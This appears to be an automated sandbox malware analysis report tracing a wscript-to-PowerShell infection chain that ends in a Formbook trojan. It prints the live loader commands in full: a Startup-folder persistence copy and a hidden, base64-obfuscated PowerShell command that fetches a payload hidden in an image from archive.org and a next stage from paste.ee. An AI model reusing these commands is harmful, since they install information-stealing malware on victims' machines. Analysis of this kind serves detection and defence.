Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.8:49708 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE Malicious Base64 Encoded Payload In Image : 207.241.227.242:443 -> 192.168.2.8:49706

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10

Source: global traffic	HTTP traffic detected: GET /32/items/detah-note-v_202410/DetahNote_V.jpg HTTP/1.1Host: ia600102.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/A2fG2/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 207.241.227.242 207.241.227.242

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: INTERNET-ARCHIVEUS INTERNET-ARCHIVEUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /32/items/detah-note-v_202410/DetahNote_V.jpg HTTP/1.1Host: ia600102.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/A2fG2/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600102.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: paste.ee

Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7E1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600102.us.archive.org
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1517721610.0000019C59EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DB83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1517721610.0000019C59E8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000005.00000002.1517721610.0000019C59EC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DBBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1774942207.000002024DBAB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE8061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7747000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.1612225136.0000021AE49A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i0002.us
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7E19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.arX
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.archive.org
Source: powershell.exe, 00000006.00000002.1774942207.000002024E09D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.archive.org/32/it
Source: powershell.exe, 00000008.00000002.1612130354.0000021AE48C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.archive.org/32/items/detah-note-v_
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7D81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1613032778.0000021AE6972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpgX
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE80BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1648832877.0000021AF67CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE7E6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6B6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6B6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/A2fG2/0
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000008.00000002.1613032778.0000021AE6CE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown	HTTPS traffic detected: 207.241.227.242:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7892, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8004, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Logistics1.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')	Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0042C853 NtClose,	11_2_0042C853
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034435C0 NtCreateMutant,LdrInitializeThunk,	11_2_034435C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442B60 NtClose,LdrInitializeThunk,	11_2_03442B60
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442DF0 NtQuerySystemInformation,LdrInitializeThunk,	11_2_03442DF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442C70 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_03442C70
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03444340 NtSetContextThread,	11_2_03444340
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03443010 NtOpenDirectoryObject,	11_2_03443010
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03443090 NtSetValueKey,	11_2_03443090
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03444650 NtSuspendThread,	11_2_03444650
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442BE0 NtQueryValueKey,	11_2_03442BE0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442BF0 NtAllocateVirtualMemory,	11_2_03442BF0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442B80 NtQueryInformationFile,	11_2_03442B80
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442BA0 NtEnumerateValueKey,	11_2_03442BA0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442AD0 NtReadFile,	11_2_03442AD0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03442AF0 NtWriteFile,	11_2_03442AF0
